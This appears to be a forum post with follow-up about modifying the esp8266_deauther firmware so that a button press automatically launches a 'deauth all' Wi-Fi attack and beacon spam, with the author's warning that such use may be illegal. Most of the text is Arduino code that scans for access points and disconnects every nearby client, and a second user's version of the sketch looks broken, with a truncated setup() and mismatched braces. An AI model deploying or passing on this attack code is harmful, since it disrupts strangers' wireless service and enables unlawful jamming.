Applying and using the following modifications are up to your responsibility.
I provide this example for you to better understand the code and how such an automatic attack-all could work.
It doesn't mean it will work, I won't provide you with further assistence, or keep this up-to-date.
These modifications make it easy to attack devices you wouldn't want to attack, keep that in mind!
You may easily violate law by using such an attack in public space.
Replace cli
with serialInterface
if you're using an older version of esp8266_deauther!
In the end of setup():
pinMode(D5, INPUT_PULLUP); // enable button pin
pinMode(D4, OUTPUT); // enable LED pin
In the beginning of loop():
if(digitalRead(D5)){
if(!attack.isRunning()){
cli.runCommand("stopap"); // stop access point and web interface
cli.runCommand("set beaconinterval true"); // change beacon interval from 10/s to 1/s for better performance
cli.runCommand("scan aps -c 60s"); // start scan for access points each minute
cli.runCommand("add ssid ALARM! -cl 60 -f"); // add SSID "ALARM!" 60 times
cli.runCommand("attack -da -b"); // start deauth all and beacon attack
digitalWrite(D4, LOW); // turn LED on
}
}else{
if(attack.isRunning()){
scan.stop(); // stop scan
attack.stop(); // stop attack
digitalWrite(D4, HIGH); // turn LED off
}
}
Use this source code to use the NodeMCU built-in flash button. (Can I post this here?)
EDIT: Just modified it a bit more to fit my needs :D
/*
===========================================
*/
extern "C" {
// Please follow this tutorial:
// https://github.com/spacehuhn/esp8266_deauther/wiki/Installation#compiling-using-arduino-ide
// And be sure to have the right board selected
#include "user_interface.h"
}
#include <EEPROM.h>
#include <ArduinoJson.h>
#if ARDUINOJSON_VERSION_MAJOR != 5
// The software was build using ArduinoJson v5.x
// version 6 is still in beta at the time of writing
// go to tools -> manage libraries, search for ArduinoJSON and install the latest version 5
#error Please upgrade/downgrade ArduinoJSON library to version 5!
#endif
#include "oui.h"
#include "language.h"
#include "functions.h"
#include "Settings.h"
#include "Names.h"
#include "SSIDs.h"
#include "Scan.h"
#include "Attack.h"
#include "CLI.h"
#include "DisplayUI.h"
#include "A_config.h"
#include "webfiles.h"
#include "LED.h"
// Run-Time Variables //
LED led;
Settings settings;
Names names;
SSIDs ssids;
Accesspoints accesspoints;
Stations stations;
Scan scan;
Attack attack;
CLI cli;
DisplayUI displayUI;
#include "wifi.h"
uint32_t autosaveTime = 0;
uint32_t currentTime = 0;
bool booted = false;
int glblattack = 0;
void setup() {
// for random generator
randomSeed(os_random());
}
void loop() {
if(digitalRead(D3) == LOW){
glblattack = 1;
if (glblattack == 1) {
if(!attack.isRunning()){
cli.runCommand("attack deauthall"); // start deauth all and beacon attack
digitalWrite(D4, LOW); // turn LED on
}
}
}else{
if (glblattack == 1) {
if(attack.isRunning()){
attack.stop(); // stop attack
digitalWrite(D4, HIGH); // turn LED off
glblattack = 0;
}
}
}
#ifdef HIGHLIGHT_LED
displayUI.setupLED();
#endif // ifdef HIGHLIGHT_LED
}
}